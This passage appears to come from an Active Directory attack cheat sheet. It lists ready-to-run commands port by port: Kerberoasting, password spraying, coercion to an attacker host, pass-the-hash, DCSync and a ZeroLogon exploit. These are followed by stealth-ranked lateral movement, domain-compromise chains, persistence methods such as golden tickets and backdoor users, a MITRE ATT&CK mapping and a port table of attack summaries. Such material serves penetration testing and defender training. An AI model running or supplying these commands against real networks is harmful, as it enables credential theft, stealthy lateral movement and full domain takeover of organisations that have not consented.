impacket-GetUserSPNs corp.local/user:pass -dc-ip <DC_IP> -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
# Port 88 → AS-REP Roasting
impacket-GetNPUsers corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Port 88 → Password spraying
kerbrute passwordspray --dc <DC_IP> -d corp.local users.txt 'Spring2024!'
# Port 135 → Coerce DC auth (PrinterBug)
python3 printerbug.py corp.local/user:pass@<DC_IP> <ATTACKER_IP>
# Port 137 → Capture NTLMv2 (Responder + LLMNR poisoning)
sudo responder -I eth0 -v
hashcat -m 5600 NTLMv2.txt /usr/share/wordlists/rockyou.txt
# Port 139 → Null session enum
enum4linux -a <target_IP>
# Port 161 → SNMP community string enum + dump
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt <target_IP>
snmpwalk -v2c -c public <target_IP>
# Port 389 → LDAP password spray
crackmapexec ldap <DC_IP> -u users.txt -p 'Password123!' --continue-on-success
# Port 445 → Pass-the-Hash
crackmapexec smb 10.10.10.0/24 -u Administrator -H <NTLM_HASH>
impacket-smbexec corp.local/Administrator@<target_IP> -hashes :<NTLM>
# Port 445 → GPP cPassword from SYSVOL
crackmapexec smb <DC_IP> -u user -p pass --spider SYSVOL
gpp-decrypt <CPASSWORD>
# Port 1433 → MSSQL coerce auth → capture service hash
impacket-mssqlclient corp/user:pass@<target_IP>
SQL> EXEC master..xp_dirtree '\\<ATTACKER_IP>\share\'
# Port 3389 → RDP session hijack (from SYSTEM on compromised host)
query user && tscon <SESSION_ID> /dest:<YOUR_SESSION>
# Port 5985 → Lateral movement (stealthiest)
evil-winrm -i <target_IP> -u user -H <NTLM_HASH>
# Port 9389 → Native AD enum via PowerShell
Get-ADUser -Filter * -Server <DC_IP> -Properties *
# Port 49152+ → DCSync (dump all hashes)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP>
# Port 49152+ → ZeroLogon (CVE-2020-1472)
python3 cve-2020-1472-exploit.py <DC_HOSTNAME> <DC_IP>
# ==========================================
# LATERAL MOVEMENT (stealthiest to noisiest)
# ==========================================
# ★ Most stealthy:
# 5985 WinRM: evil-winrm -i TARGET -u user -H HASH
# 135/High WMI: impacket-wmiexec corp/user:pass@TARGET
# 135/High AtExec: impacket-atexec corp/user:pass@TARGET "cmd"
# ★★ Moderate:
# 445 SMBExec: impacket-smbexec corp/user:pass@TARGET (no binary on disk)
# 3389 RDP: xfreerdp /v:TARGET /u:user /pth:HASH
# ★★★ Noisy (creates services / drops files):
# 445 PsExec: impacket-psexec corp/user:pass@TARGET (drops binary, creates service!)
# ==========================================
# DOMAIN COMPROMISE PATHS (BY PORT CHAIN)
# ==========================================
# PATH 1: LDAP Enum → Kerberoast → Crack → DA
# Port 389 (enum SPNs) → Port 88 (TGS request) → offline crack → use creds
# PATH 2: LLMNR Poison → Relay → RBCD → DA
# Port 137 (Responder) → Port 389 (ntlmrelayx) → RBCD write → S4U2Proxy → DCSync
# PATH 3: Coerce DC → Relay to ADCS → Cert → TGT → DCSync
# Port 135 (PetitPotam) → Port 443/80 (certsrv) → get cert → Port 88 (TGT) → Port 49152+ (DCSync)
# PATH 4: MSSQL → xp_cmdshell → beacon → DCSync
# Port 1433 (mssqlclient) → xp_cmdshell → drop beacon → Port 49152+ (DCSync)
# PATH 5: DHCPv6 Poison → DNS WPAD → NTLM Relay → LDAPS → DA
# Port 547 (mitm6) → Port 80 (WPAD NTLM) → Port 636 (Shadow Creds) → Port 88 (TGT) → DA
# PATH 6: RDP Session Hijack → DA session taken without password
# Port 3389 (RDP access) → SYSTEM via local priv esc → tscon DA session → DA!
# ==========================================
# PERSISTENCE (by port/mechanism)
# ==========================================
# Golden Ticket (Port 88 - Kerberos forgery)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local Administrator
# Valid for 10 years by default!
# ADFS Golden SAML (Port 49443)
# Steal ADFS token signing cert → forge SAML → access O365 forever
# DNSAdmins DLL (Port 53)
# Load DLL into DNS service → survives DNS service restarts
# GPO Scheduled Task (Port 389/445/SYSVOL)
# SharpGPOAbuse → add task to GPO → executes on every machine/reboot
# WinRM persistence (Port 5985)
# evil-winrm → add backdoor user / SSH authorized key
# ==========================================
# MITRE ATT&CK MAPPING (PORT → TTP)
# ==========================================
# Port 21 → T1071.002 FTP Data Transfer
# Port 22 → T1021.004 Remote Services: SSH
# Port 23 → T1021 Remote Services: Telnet (Legacy)
# Port 25 → T1566.001 Phishing via SMTP
# Port 53 → T1071.004 DNS C2 / T1543.003 DNSAdmins DLL
# Port 80 → T1071.001 HTTP C2 / T1190 Exploit Public App
# Port 88 → T1558.003 Kerberoasting / T1558.004 AS-REP / T1558.001 Golden
# Port 135 → T1021.003 DCOM Exec / T1187 Coerced Auth
# Port 137 → T1557.001 LLMNR Poisoning / T1040 Network Sniff
# Port 139 → T1135 Network Share Enum
# Port 161 → T1040 SNMP Sniff / T1082 System Info
# Port 389 → T1087.002 Domain Account Enum / T1557 Relay
# Port 445 → T1021.002 SMB Lateral / T1550.002 PtH / T1557.001 Relay
# Port 464 → T1098 Account Manipulation
# Port 547 → T1557 AiTM via DHCPv6
# Port 1433 → T1505.001 SQL Stored Proc / T1187 Forced Auth
# Port 3268 → T1087.002 Domain Enum Forest-Wide
# Port 3389 → T1021.001 RDP / T1563.002 Session Hijack
# Port 5985 → T1021.006 WinRM
# Port 9389 → T1087.002 AD Enumeration via ADWS
# Port 49443 → T1606.002 Golden SAML Forgery
# Port 49152+→ T1003.006 DCSync / T1210 Exploit RPC / T1543 ZeroLogon
Master Port Index (Ascending — One Line Each)
| Port | Proto | Service | Category | Attack Summary |
|---|---|---|---|---|
| 9 | UDP | Wake-on-LAN | Win | Wake powered-off machines remotely |
| 20 | TCP | FTP Data | Win | Cleartext file capture |
| 21 | TCP | FTP Control | Win | Brute force, anonymous access, web shell upload |
| 22 | TCP | SSH | Win/Lin | Brute force, key theft, pivot tunneling |
| 23 | TCP | Telnet | Win Legacy | Cleartext credential capture, brute force |
| 25 | TCP | SMTP | Win | User enum, open relay, spoofing |
| 42 | UDP | WINS | Win | Legacy name spoofing |
| 53 | T/U | DNS | AD/Win | Zone transfer, DNSAdmins DLL, tunneling C2 |
| 67 | UDP | DHCP Server | Win | Rogue DHCP, DNS poisoning, gateway MITM |
| 68 | UDP | DHCP Client | Win | Affected by rogue DHCP attacks on port 67 |
| 69 | UDP | TFTP | Win | Unauthenticated file download |
| 80 | TCP | HTTP | Win | Web attacks, C2 channel, IIS exploits |
| 88 | T/U | Kerberos | AD | Kerberoast, AS-REP, spray, Golden/Silver ticket |
| 102 | TCP | X.400 MTA | Win | Exchange fingerprinting |
| 110 | TCP | POP3 | Win | Cleartext creds, email harvest |
| 119 | TCP | NNTP | Win | Unauthenticated message access |
| 123 | UDP | NTP | Win | Time skew, Kerberos break, amplification |
| 135 | T/U | RPC Mapper | Win/AD | Service enum, WMI, DCOM, coercion attacks |
| 137 | T/U | NetBIOS NS | Win | LLMNR/NBNS poisoning, NTLMv2 capture |
| 138 | UDP | NetBIOS DG | Win | Domain broadcast capture |
| 139 | TCP | NetBIOS SS | Win | Null session enum, legacy SMB |
| 143 | TCP | IMAP | Win | Cleartext creds, email exfil |
| 161 | UDP | SNMP | Win | Community string brute, full MIB dump |
| 162 | T/U | SNMP Trap | Win | Passive intelligence gathering |
| 389 | T/U | LDAP | AD | Full AD dump, relay, BloodHound, shadow creds |
| 443 | TCP | HTTPS | Win | Web attacks, C2 channel, Exchange CVEs |
| 445 | TCP | SMB/CIFS | Win/AD | PtH, relay, lateral move, GPP cpassword |
| 464 | T/U | Kerberos PW | AD | Password change attacks |
| 500 | UDP | IPsec ISAKMP | Win | VPN fingerprint, PSK crack |
| 543 | TCP | Kerberos Login | AD | Legacy Kerberos shell access |
| 544 | TCP | Kerberos Shell | AD | Legacy Kerberos rsh access |
| 546 | T/U | DHCPv6 Client | Win | Rogue DHCPv6 relay chain |
| 547 | T/U | DHCPv6 Server | Win | mitm6 → DNS spoof → NTLM relay |
| 593 | TCP | RPC over HTTP | Win | RPC firewall bypass, Exchange attacks |
| 636 | TCP | LDAPS | AD | Same as 389 + shadow credentials relay |
| 647 | TCP | DHCP Failover | Win | Rogue lease sync |
| 873 | TCP | Rsync | Win/Lin | Anonymous file access, data exfil |
| 989 | T/U | FTPS Data | Win | Encrypted FTP attacks |
| 990 | TCP | FTPS Control | Win | Brute force, cert analysis |
| 993 | TCP | IMAPS | Win | Brute force, email exfil |
| 995 | TCP | POP3S | Win | Brute force, email exfil |
| 1433 | TCP | MSSQL | Win | xp_cmdshell RCE, SQL links, coerce auth |
| 1434 | UDP | MSSQL Browser | Win | Instance enum |
| 1645 | UDP | RADIUS Legacy | Win | Shared secret crack |
| 1646 | UDP | RADIUS Acct | Win | Accounting data leak |
| 1701 | UDP | L2TP | Win | VPN PSK crack |
| 1723 | TCP | PPTP | Win | MS-CHAPv2 capture + crack |
| 1801 | T/U | MSMQ | Win | QueueJumper RCE CVE-2023-21554 |
| 1812 | T/U | RADIUS Auth | Win | Shared secret crack, EAP downgrade |
| 1813 | T/U | RADIUS Acct | Win | Accounting manipulation |
| 2101 | TCP | MSMQ-DCs | Win | MSMQ enumeration |
| 2103 | TCP | MSMQ-RPC | Win | MSMQ RPC attacks |
| 2105 | TCP | MSMQ-RPC | Win | MSMQ RPC attacks |
| 2107 | TCP | MSMQ-Mgmt | Win | MSMQ management access |
| 2535 | UDP | MADCAP | Win | Multicast DHCP |
| 3268 | TCP | GC LDAP | AD | Forest-wide enum, cross-domain SPN |
| 3269 | TCP | GC LDAPS | AD | Encrypted forest-wide enum |
| 3343 | T/U | Cluster Svc | Win | Cluster disruption/DoS |
| 3389 | T/U | RDP | Win | Spray, session hijack, PtH, BlueKeep |
| 3527 | UDP | MSMQ Ping | Win | MSMQ host discovery |
| 3702 | UDP | WS-Discovery | Win | Device enum, DDoS amplification |
| 4500 | UDP | IPsec NAT-T | Win | VPN fingerprinting, IKE attacks |
| 5722 | TCP | DFSR RPC | AD | SYSVOL replication coercion |
| 5985 | TCP | WinRM HTTP | Win | PtH lateral move, Evil-WinRM |
| 5986 | TCP | WinRM HTTPS | Win | Encrypted PtH lateral move |
| 6600 | TCP | Hyper-V Mig | Win | VM disk extraction, NTDS.dit theft |
| 9389 | TCP | ADWS | AD | Native PS enum (evades LDAP monitoring) |
| 42424 | TCP | ASP.NET State | Win | Session token theft |
| 47001 | TCP | WinRM Alt | Win | Alternate WinRM lateral movement |
| 49443 | TCP | ADFS | AD | Golden SAML, password spray, O365 compromise |
| 49152-65535 | TCP | RPC Ephemeral | Win/AD | DCSync, WMI, ZeroLogon, coercion |